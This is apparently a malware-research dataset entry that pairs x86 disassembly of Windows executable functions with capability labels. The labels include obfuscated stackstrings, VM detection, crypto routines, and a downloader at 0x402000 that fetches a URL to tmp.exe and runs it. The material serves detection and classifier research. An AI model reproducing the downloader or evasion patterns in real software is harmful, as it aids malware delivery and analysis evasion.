joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6e6017e0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push ebx
sub esp, 0x214
lea ebx, [ebp - 0x208]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], ebx
mov dword [esp + 8], eax
mov eax, 0x1ff
mov dword [esp + 4], eax
call sub.msvcrt.dll__vsnprintf
mov dword [esp], ebx
call sub.KERNEL32.dll_OutputDebugStringA
sub esp, 4
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x6e605fa0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add dword [eax], eax
add byte [eax - 0x77b5b], al
inc dword [eax]
and byte [ebp - 0x77b], 0
mov byte [ebp - 0x77a], 4
and byte [ebp - 0x779], 0
mov byte [ebp - 0x778], 0xb8
mov byte [ebp - 0x777], 0xc1
mov byte [ebp - 0x776], 0xa7
mov byte [ebp - 0x775], 0xab
mov byte [ebp - 0x774], 0x89
mov byte [ebp - 0x773], 0x94
mov byte [ebp - 0x772], 0x9c
mov byte [ebp - 0x771], 0x89
mov byte [ebp - 0x770], 0x9a
mov byte [ebp - 0x76f], 0x96
mov byte [ebp - 0x76e], 0xdb
mov byte [ebp - 0x76d], 0xbd
mov byte [ebp - 0x76c], 0x92
mov byte [ebp - 0x76b], 0x97
mov byte [ebp - 0x76a], 0x9e
mov byte [ebp - 0x769], 0x88
mov byte [ebp - 0x768], 0xa7
mov byte [ebp - 0x767], 0xb8
mov byte [ebp - 0x766], 0x94
mov byte [ebp - 0x765], 0x96
mov byte [ebp - 0x764], 0x96
mov byte [ebp - 0x763], 0x94
mov byte [ebp - 0x762], 0x95
mov byte [ebp - 0x761], 0xdb
mov byte [ebp - 0x760], 0xbd
mov byte [ebp - 0x75f], 0x92
mov byte [ebp - 0x75e], 0x97
mov byte [ebp - 0x75d], 0x9e
mov byte [ebp - 0x75c], 0x88
mov byte [ebp - 0x75b], 0xa7
mov byte [ebp - 0x75a], 0xa8
mov byte [ebp - 0x759], 0x82
mov byte [ebp - 0x758], 0x88
mov byte [ebp - 0x757], 0x8f
mov byte [ebp - 0x756], 0x9e
mov byte [ebp - 0x755], 0x96
mov byte [ebp - 0x754], 0xa7
mov byte [ebp - 0x753], 0x88
mov byte [ebp - 0x752], 0x82
mov byte [ebp - 0x751], 0x96
mov byte [ebp - 0x750], 0x88
mov byte [ebp - 0x74f], 0x89
mov byte [ebp - 0x74e], 0x8d
mov byte [ebp - 0x74d], 0xd5
mov byte [ebp - 0x74c], 0x9f
mov byte [ebp - 0x74b], 0x97
mov byte [ebp - 0x74a], 0x97
mov byte [ebp - 0x749], 0xfb
lea eax, [ebp - 0x77c]
push eax
call fcn.6e6045ed
pop ecx
mov al, byte [ebp - 0x12c]
mov byte [ebp - 0x778], al
push 0x30
lea eax, [ebp - 0x77c]
push eax
call fcn.6e6045ed
pop ecx
push eax
lea eax, [ebp - 0x504]
push eax
call fcn.6e60454e
add esp, 0xc
lea eax, [ebp - 0x504]
mov dword [ebp - 0x3a0], eax
jmp 0x6e606555
Function at 0x402000
Capabilities:
Create process on windows
Delete file
Download url
Extract resource via kernel32 functions
Get common file path
Receive data
Terminate process

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov dword [0x40100d], eax
push 0xa
push 0x401026
push 0
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov dword [0x401011], eax
push dword [0x401011]
push 0
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov dword [0x401015], eax
push dword [0x401011]
push 0
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
mov dword [0x401019], eax
push dword [0x401015]
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [0x40101d], eax
push dword [0x401019]
push dword [0x40101d]
push 0x40112c
call dword [sym.imp.KERNEL32.DLL_RtlMoveMemory]
push dword [0x401015]
call dword [sym.imp.KERNEL32.DLL_FreeResource]
xor eax, eax
push 0x40102c
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
push str.tmp.exe
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_lstrcat]
push 0x40102c
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0
push 0
push 0x40102c
push 0x40112c
push 0
call dword [sym.imp.URLMON.DLL_URLDownloadToFileA]
push 5
push 0
push 0
push 0x40102c
push str.open
push 0
call dword [sym.imp.SHELL32.DLL_ShellExecuteA]
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x46ac594f
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x7599d0c0], 0xffffffff
je 0x46ac5adb
xor eax, eax
cmp dword [0x7599d0c0], eax
setne al
leave
ret
push ebx
lea ecx, [ebp - 0xc]
call fcn.46ac5577
push 1
push 0x75971f58
push 0x80000002
lea ecx, [ebp - 0xc]
xor bl, bl
call fcn.46ac5586
test eax, eax
je 0x46ad7912
movzx eax, bl
lea ecx, [ebp - 0xc]
mov dword [0x7599d0c0], eax
call fcn.46ac55af
pop ebx
jmp 0x46ac5964
Function at 0x46ad63a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [ecx]
test eax, eax
je 0x46ad63ae
push eax
call fcn.46ad5ff0
pop ecx
ret
mov ecx, dword [ecx + 4]
test ecx, ecx
je 0x46ad63ad
jmp 0x46ad7219
inc esp
and al, 0x7c
mov edx, dword [eax + 0x14]
mov ecx, dword [eax + 0x18]
push ebx
mov ebx, dword [eax + 0x38]
push ebp
mov ebp, dword [eax + 0x1c]
push esi
mov esi, dword [eax + 0x20]
mov dword [esp + 0x64], esi
mov esi, dword [eax + 0xc]
mov dword [esp + 0x50], esi
mov esi, dword [eax + 0x3c]
mov dword [esp + 0x7c], esi
mov esi, dword [eax + 0x28]
mov dword [esp + 0x6c], esi
mov esi, dword [eax + 0x2c]
mov dword [esp + 0x28], esi
mov esi, dword [eax + 0x30]
mov dword [esp + 0x2c], esi
mov esi, dword [eax + 0x40]
push edi
mov edi, dword [eax + 0x10]
mov eax, dword [eax + 0x24]
mov dword [esp + 0x28], esi
cmp eax, dword [esp + 0x70]
mov dword [esp + 0x84], ebx
mov dword [esp + 0x50], eax
jg 0x46ad75d1
lea esi, [ecx + eax*4]
mov eax, ebp
mov ebp, dword [esp + 0x68]
sub edx, ecx
sub eax, ecx
sub ebp, ecx
mov dword [esp + 0x6c], esi
mov dword [esp + 0x74], edx
mov dword [esp + 0x7c], eax
je 0x46ad71a4
inc esp
and al, 0x7c
mov dword [esp + 0x78], ebp

Function at 0x46ad6484
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push ebx
push edi
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 0xc]
neg eax
sbb eax, eax
push 1
not eax
and eax, dword [ebp + 8]
mov edi, ecx
push eax
push 0x14
push 0
push 0x74ef1a5c
mov dword [ebp - 0xc], 0x74ef1a4c
call dword [0x74ef10cc]
mov ebx, eax
test ebx, ebx
jne 0x46ad7206
mov eax, dword [ebp - 8]
push ebx
push 0x74ef18ec
push 3
mov dword [edi + 8], eax
call dword [0x74ef10f8]
add esp, 0xc
pop edi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x46ad652b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x74ef3fe5
call fcn.46ad6420
sub esp, 0x30
mov eax, dword [0x74ef5020]
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x18]
lea edx, [ebp - 0x34]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push 0x74ef19c8
xor ebx, ebx
push eax
mov dword [ebp - 0x34], ebx
call dword [ecx]
cmp eax, ebx
jne 0x46ad65af
cmp byte [ebp + 0xc], bl
jne 0x46ad723f
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x3c], 0x10
call dword [0x74ef1040]
test eax, eax
je 0x46ad65a3
call dword [0x74ef1044]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ecx]
push ebx
push eax
lea eax, [ebp - 0x30]
push eax
push ecx
call dword [edx + 0xc]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x38]
call fcn.46ad65dd
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.46ad63f9
leave
ret 0x1c
Function at 0x46ad6691
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 1
push 8
xor ebx, ebx
call dword [0x74ef104c]
push eax
call dword [0x74ef1004]
test eax, eax
jne 0x46ad71cc
mov al, bl
pop ebx
leave
ret 4
jo 0x46ad71f6
add byte [eax], al
add byte [ecx + 0xf502444], cl
invalid

Function at 0x46ad66f2
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0x7fffffff
ja 0x46ad7236
pop ebp
nop
nop
nop
nop
nop
add byte [eax], 0
add byte [ebx - 0x6fccffc], cl
Function at 0x46ad6768
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x74ef4066
call fcn.46ad6420
sub esp, 0x82c
mov eax, dword [0x74ef5020]
mov ecx, dword [ebp + 0x14]
push ebx
push esi
mov esi, dword [0x74ef1024]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0x10]
xor ebx, ebx
mov dword [ebp - 0x820], eax
mov eax, dword [ebp + 0xc]
mov dword [edi], ebx
mov dword [ebp - 0x818], eax
mov dword [eax], ebx
lea eax, [ebp - 0x81c]
push eax
push ebx
push 3
mov dword [ebp - 0x824], ecx
mov dword [ebp - 0x81c], ebx
call esi
cmp eax, ebx
jne 0x46ad6876
call dword [0x74ef1028]
cmp eax, 0xea
jne 0x46ad6876
inc dword [ebp - 0x81c]
mov eax, dword [ebp - 0x81c]
add eax, eax
push eax
call fcn.46ad6680
cmp eax, ebx
pop ecx
mov dword [ebp - 0x828], eax
je 0x46ad737b
mov dword [ebp - 0x838], eax
mov dword [ebp - 0x834], ebx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x81c]
push ecx
push eax
push 3
call esi
cmp eax, ebx
je 0x46ad7385
mov esi, dword [ebp - 0x820]
push esi
call dword [0x74ef10fc]
test eax, eax
je 0x46ad7398
push dword [ebp - 0x818]
mov dword [edi], 1
push dword [ebp - 0x828]
call fcn.46ad6886
mov esi, eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x838]
call fcn.46ad63a0
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.46ad63f9
leave
ret 0x10
call dword [0x74ef1028]
jmp 0x46ad74ac
add cl, al
clc
adc byte [ebx], al
ror dword [ebx + 0x2b24244c], 0xd1
inc eax
je 0x46ad74d2
pop eax
imul edi, esi, 0x548bffff
and al, 0x34

Function at 0x46ad6886
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x46ad7367
push ebx
push esi
mov esi, dword [0x74ef1090]
push edi
push dword [ebp + 8]
call esi
mov edi, 0x74ef1ce8
push edi
mov ebx, eax
call esi
lea esi, [ebx + eax + 1]
lea eax, [esi + esi]
push eax
call fcn.46ad6680
mov ebx, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
mov dword [ebx], eax
je 0x46ad7371
push edi
push esi
push eax
call fcn.46ad66f2
push dword [ebp + 8]
push esi
push dword [ebx]
call fcn.46ad68fb
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 8
adc byte [ebx], ch
rol dword [ebx], 0xc2
scasd eax, dword es:[edi]
lds ecx, [ebx + 0x5442474]
add byte [eax - 0x73f0000], al
Function at 0x46b8e4c5
Capabilities:
Check for vm using instruction vpcext

Disassembly:
cmp esp, eax
cmp ebp, ecx
cmp ecx, esp
cmp dword [eax + 0x3a], ebx
popal
cmp ch, byte [edx + 0x3a]
jae 0x46b8e50e
xchg ecx, eax
cmp bl, byte [ecx - 0x45c54ec6]
cmp al, bl
cmp cl, ah
cmp dl, byte [esi]
cmp ebx, dword [edi]
cmp ebp, dword [eax]
cmp esi, dword [ecx]
cmp ecx, dword [eax + 0x3b]
push eax
cmp ebp, dword [edi + 0x3b]
cwde
cmp ebp, dword [ebx + edi + 0x3c0a3c01]
adc al, 0x3c
daa
cmp al, 0xec
cmp al, 0xfb
cmp al, 6
cmp eax, 0x3d183d0f
das
cmp eax, 0x3d413d38
dec ebp
cmp eax, 0x3d743d6c
je 0x46b8e54d
jge 0x46b8e54f
mov dword [0x3dee3de5], edi
adc byte [esi], bh
sbb dword [esi], edi
and bh, byte [esi]
cmp byte ds:[esi], bh
inc esi
jp 0x46b8e564
cmp dword [esi], 0xffffff8c
cwde
mov byte ds:[0xd23eb03e], al
aas
fstp xword [edi]
add byte [eax], ah
add al, byte [eax]
push esp
add dword [eax], eax
add byte [esi], al
xor byte [eax + 0x30], dl
pop ecx
xor byte [edx + 0x30], ah
imul esi, dword [eax], 0x74
xor byte [edx + 0x30], bh
xor byte [eax], 0x95
xor byte [edx + 0x3e311930], ch
xor byte [ecx], bl
xor dword [esi], edi
xor dword [ebx + 0x31], ecx
pop eax
xor dword [ecx + esi + 0x71], esp
xor dword [ecx + esi + 0x31b031a3], ecx
mov ebp, 0xfd31f431
xor dword [edx], ecx
xor dl, byte [esi]
xor dh, byte [0x5b323b32]
xor al, byte [ebp + 0x33]
push eax
xor edx, dword [esi + 0x33]
popal
xor ebp, dword [ecx + 0x33]
hlt

Function at 0x46b8e91a
Capabilities:
Check for vm using instruction vpcext

Disassembly:
pushal
cmp eax, 0x3de13dc1
sar byte [esi], 0xc9
Function at 0x10085b0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x10085c3
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10085bf
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x10085f0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x100862f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x1008625
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1008631
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x1008615
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10004040
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xcc
call fcn.10086e00
mov ecx, dword [esp + 0xd0]
push ebx
push ebp
push esi
lea esi, [ecx + 0x14]
lea eax, [ecx + 0x54]
push edi
lea edi, [esp + 0x5c]
mov ecx, dword [esi + 0x3c]
xor ebp, ebp
mov dword [esp + 0x10], ecx
lea ecx, [esp + 0x9c]
sub ecx, eax
sub edi, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
sub esi, eax
mov ebx, dword [esp + 0xe4]
mov edx, dword [eax]
xor ecx, ecx
mov dword [edi + eax - 0x40], edx
mov cl, byte [ebx + ebp]
mov ebx, dword [esp + 0x14]
xor edx, ecx
mov dword [edi + eax], ecx
mov dword [ebx + eax], edx
mov edx, dword [esp + 0x10]
xor ecx, edx
add eax, 4
mov edx, dword [ecx*4 + str._.C]
mov ecx, dword [esi + eax - 4]
xor ecx, edx
inc ebp
mov dword [esi + eax - 4], ecx
cmp ebp, 0x10
mov dword [esp + 0x10], ecx
jl 0x1000407d
xor ecx, ecx
xor edx, edx
xor eax, eax
mov ecx, dword [ecx*4 + str._.C]
mov edi, dword [esp + eax*4 + 0x1c]
mov esi, dword [esp + eax*4 + 0x20]
xor edi, ecx
mov ecx, edi
mov ebp, dword [esp + eax*4 + 0x24]
mov ebx, dword [esp + eax*4 + 0x28]
mov dword [esp + eax*4 + 0x1c], edi
mov ecx, dword [ecx*4 + str._.C]
mov edi, dword [esp + eax*4 + 0x2c]
xor esi, ecx
mov ecx, esi
mov dword [esp + eax*4 + 0x20], esi
mov esi, dword [esp + eax*4 + 0x30]
add eax, 8
mov ecx, dword [ecx*4 + str._.C]
xor ebp, ecx
mov ecx, ebp
mov dword [esp + eax*4 + 4], ebp
mov ebp, dword [esp + eax*4 + 0x14]
mov ecx, dword [ecx*4 + str._.C]
xor ebx, ecx
mov ecx, ebx
mov dword [esp + eax*4 + 8], ebx
mov ebx, dword [esp + eax*4 + 0x18]
mov ecx, dword [ecx*4 + str._.C]
xor edi, ecx
mov ecx, edi
mov dword [esp + eax*4 + 0xc], edi
mov ecx, dword [ecx*4 + str._.C]
xor esi, ecx
mov ecx, esi
mov dword [esp + eax*4 + 0x10], esi
mov ecx, dword [ecx*4 + str._.C]
xor ebp, ecx
mov ecx, ebp
mov dword [esp + eax*4 + 0x14], ebp
mov ecx, dword [ecx*4 + str._.C]
xor ebx, ecx
cmp eax, 0x30
mov dword [esp + eax*4 + 0x18], ebx
mov ecx, ebx
jl 0x100040c5
add ecx, edx
and ecx, 0xff
inc edx
cmp edx, 0x12
jl 0x100040c3
mov edi, dword [esp + 0x18]
mov ecx, 0x10
lea esi, [esp + 0x1c]
lea edx, [esp + 0x1c]
push 0xc0
push edx
rep movsd dword es:[edi], dword [esi]
call sym.LIBEAY32.dll_OPENSSL_cleanse
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret
Function at 0x100051d0
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x58], ecx
mov eax, 1
ret
Function at 0x1000e0d0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x9c
call fcn.10086e00
mov eax, dword [esp + 0xa8]
test eax, eax
jbe 0x1000e26c
push ebx
push ebp
mov ebp, dword [esp + 0xa8]
push esi
push edi
mov esi, dword [esp + 0xb4]
lea edi, [ebp + 0xc]
add ebp, 0x14
dec eax
shr eax, 3
inc eax
mov dword [esp + 0x18], eax
xor ebx, ebx
xor eax, eax
mov bl, byte [esi]
mov ah, byte [esi + 1]
inc esi
or ebx, eax
inc esi
xor ecx, ecx
xor edx, edx
xor eax, eax
mov cl, byte [esi]
mov dl, byte [esi + 1]
shl ecx, 0x10
or ebx, ecx
inc esi
shl edx, 0x18
mov al, byte [esi + 1]
or ebx, edx
inc esi
xor ecx, ecx
inc esi
xor edx, edx
push edi
mov dword [esp + 0x20], ebx
mov ch, byte [esi]
mov dl, byte [esi + 1]
or eax, ecx
inc esi
shl edx, 0x10
or eax, edx
inc esi
xor ecx, ecx
mov dl, byte [edi]
mov cl, byte [esi]
and dl, 0xdf
shl ecx, 0x18
or eax, ecx
or dl, 0x40
mov dword [esp + 0x14], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov al, byte [ebp]
and al, 0xbf
mov dword [esp + 0x28], ebx
or al, 0x20
inc esi
mov byte [edi], dl
mov byte [ebp], al
call sym.LIBEAY32.dll_DES_set_odd_parity
lea ecx, [esp + 0x30]
push ecx
push edi
call sym.LIBEAY32.dll_DES_set_key_unchecked
lea edx, [esp + 0x38]
push 1
lea eax, [esp + 0x34]
push edx
push eax
call sym.LIBEAY32.dll_DES_encrypt1
push ebp
call sym.LIBEAY32.dll_DES_set_odd_parity
lea ecx, [esp + 0x48]
push ecx
push ebp
call sym.LIBEAY32.dll_DES_set_key_unchecked
lea edx, [esp + 0x50]
push 1
lea eax, [esp + 0x44]
push edx
push eax
call sym.LIBEAY32.dll_DES_encrypt1
mov edx, dword [esp + 0x50]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x44], edx
mov eax, edx
mov edx, dword [esp + 0x40]
add esp, 0x30
xor ecx, ebx
xor eax, edx
mov edx, dword [esp + 0x24]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
xor ebx, edx
mov edx, dword [esp + 0x28]
xor eax, edx
mov edx, ebx
mov dword [esp + 0x10], eax
mov eax, edi
shr edx, 8
mov byte [eax], bl
inc eax
mov byte [eax], dl
mov edx, ebx
inc eax
shr edx, 0x10
mov byte [eax], dl
mov edx, dword [esp + 0x14]
inc eax
shr ebx, 0x18
mov byte [eax], bl
inc eax
mov ebx, edx
mov byte [eax], dl
inc eax
shr ebx, 8
mov byte [eax], bl
mov ebx, edx
inc eax
shr ebx, 0x10
shr edx, 0x18
mov byte [eax], bl
mov byte [eax + 1], dl
mov eax, ebp
mov edx, ecx
shr edx, 8
mov byte [eax], cl
inc eax
mov byte [eax], dl
mov edx, ecx
inc eax
shr edx, 0x10
mov byte [eax], dl
inc eax
shr ecx, 0x18
mov byte [eax], cl
mov ecx, dword [esp + 0x10]
inc eax
mov edx, ecx
shr edx, 8
mov byte [eax], cl
inc eax
mov byte [eax], dl
mov edx, ecx
inc eax
shr edx, 0x10
shr ecx, 0x18
mov byte [eax], dl
mov byte [eax + 1], cl
mov eax, dword [esp + 0x18]
dec eax
mov dword [esp + 0x18], eax
jne 0x1000e10a
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x9c
ret
Function at 0x1000e350
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov eax, 0x40
call fcn.10086e00
push ebx
mov ebx, dword [esp + 0x48]
push ebp
push esi
mov esi, dword [esp + 0x5c]
xor eax, eax
test esi, esi
push edi
je 0x1000e375
mov eax, 1
mov dword [ebx], esi
jmp 0x1000e37d
mov ecx, dword [ebx]
mov dword [esp + 0x60], ecx
mov esi, ecx
mov ecx, dword [esp + 0x58]
test ecx, ecx
je 0x1000e4b2
mov edi, dword [esi + 0x40]
cmp edi, 0x40
jbe 0x1000e3a5
push str.j___sizeof_ctx__key
push 0x5b
push str..cryptohmachmac.c
call sym.LIBEAY32.dll_OpenSSLDie
add esp, 0xc
mov ebp, dword [esp + 0x5c]
cmp edi, ebp
jge 0x1000e3db
mov edx, dword [esp + 0x64]
lea edi, [ebx + 4]
push edx
push esi
push edi
call sym.LIBEAY32.dll_EVP_DigestInit_ex
mov eax, dword [esp + 0x64]
push ebp
push eax
push edi
call sym.LIBEAY32.dll_EVP_DigestUpdate
lea esi, [ebx + 0x34]
lea ecx, [ebx + 0x38]
push esi
push ecx
push edi
call sym.LIBEAY32.dll_EVP_DigestFinal_ex
add esp, 0x24
jmp 0x1000e410
cmp ebp, 0x40
jbe 0x1000e3f4
push str.len___sizeof_ctx__key
push 0x65
push str..cryptohmachmac.c
call sym.LIBEAY32.dll_OpenSSLDie
add esp, 0xc
mov esi, dword [esp + 0x58]
mov ecx, ebp
mov edx, ecx
lea edi, [ebx + 0x38]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebx + 0x34]
mov dword [esi], ebp
mov esi, dword [esi]
cmp esi, 0x40
je 0x1000e432
mov ecx, 0x40
xor eax, eax
sub ecx, esi
lea edi, [esi + ebx + 0x38]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov esi, dword [esp + 0x60]
xor eax, eax
mov cl, byte [ebx + eax + 0x38]
xor cl, 0x36
mov byte [esp + eax + 0x10], cl
inc eax
cmp eax, 0x40
jl 0x1000e438
mov ebp, dword [esp + 0x64]
lea edi, [ebx + 0x14]
push ebp
push esi
push edi
call sym.LIBEAY32.dll_EVP_DigestInit_ex
mov edx, dword [esi + 0x40]
lea eax, [esp + 0x1c]
push edx
push eax
push edi
call sym.LIBEAY32.dll_EVP_DigestUpdate
add esp, 0x18
xor eax, eax
mov cl, byte [ebx + eax + 0x38]
xor cl, 0x5c
mov byte [esp + eax + 0x10], cl
inc eax
cmp eax, 0x40
jl 0x1000e46c
lea edi, [ebx + 0x24]
push ebp
push esi
push edi
call sym.LIBEAY32.dll_EVP_DigestInit_ex
mov edx, dword [esi + 0x40]
lea eax, [esp + 0x1c]
push edx
push eax
push edi
call sym.LIBEAY32.dll_EVP_DigestUpdate
add esp, 0x18
lea ecx, [ebx + 0x14]
add ebx, 4
push ecx
push ebx
call sym.LIBEAY32.dll_EVP_MD_CTX_copy_ex
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret
test eax, eax
je 0x1000e49a
jmp 0x1000e436

Function at 0x1000eb90
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x5c], ecx
mov eax, 1
ret
Function at 0x10017100
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov edx, dword [esp + 4]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push edi
cmp esi, 0x80
mov byte [edx], 0
jle 0x1001711c
mov esi, 0x80
mov ecx, dword [esp + 0x20]
test ecx, ecx
jle 0x1001712c
cmp ecx, 0x400
jle 0x10017131
mov ecx, 0x400
test esi, esi
jle 0x10017148
mov edi, dword [esp + 0x1c]
mov eax, edx
sub edi, edx
mov ebp, esi
mov bl, byte [edi + eax]
mov byte [eax], bl
inc eax
dec ebp
jne 0x1001713f
xor eax, eax
cmp esi, 0x80
mov al, byte [edx + esi - 1]
jge 0x1001717a
mov edi, edx
sub edi, esi
mov bl, byte [edi + esi]
add ebx, eax
xor eax, eax
and ebx, 0xff
inc esi
cmp esi, 0x80
mov al, byte [ebx + 0x100b8748]
mov byte [esi + edx - 1], al
jl 0x1001715a
lea edi, [ecx + 7]
mov esi, 0x80
sar edi, 3
neg ecx
sub esi, edi
and ecx, 7
mov ebp, 0xff
xor eax, eax
mov al, byte [esi + edx]
lea ebx, [esi + edx]
sar ebp, cl
and ebp, eax
xor eax, eax
test esi, esi
mov al, byte [ebp + 0x100b8748]
mov byte [ebx], al
je 0x100171c3
mov ebp, ebx
dec ebp
xor ecx, ecx
mov cl, byte [edi + ebp]
xor ecx, eax
xor eax, eax
dec esi
mov al, byte [ecx + 0x100b8748]
mov byte [ebp], al
jne 0x100171ad
lea esi, [edx + 0xfc]
mov eax, 0x7f
xor ecx, ecx
xor ebx, ebx
mov cl, byte [eax + edx - 1]
mov bh, byte [eax + edx]
and ecx, 0xffff
sub esi, 4
or ecx, ebx
sub eax, 2
mov dword [esi + 4], ecx
jns 0x100171ce
pop edi
pop esi
pop ebp
pop ebx
ret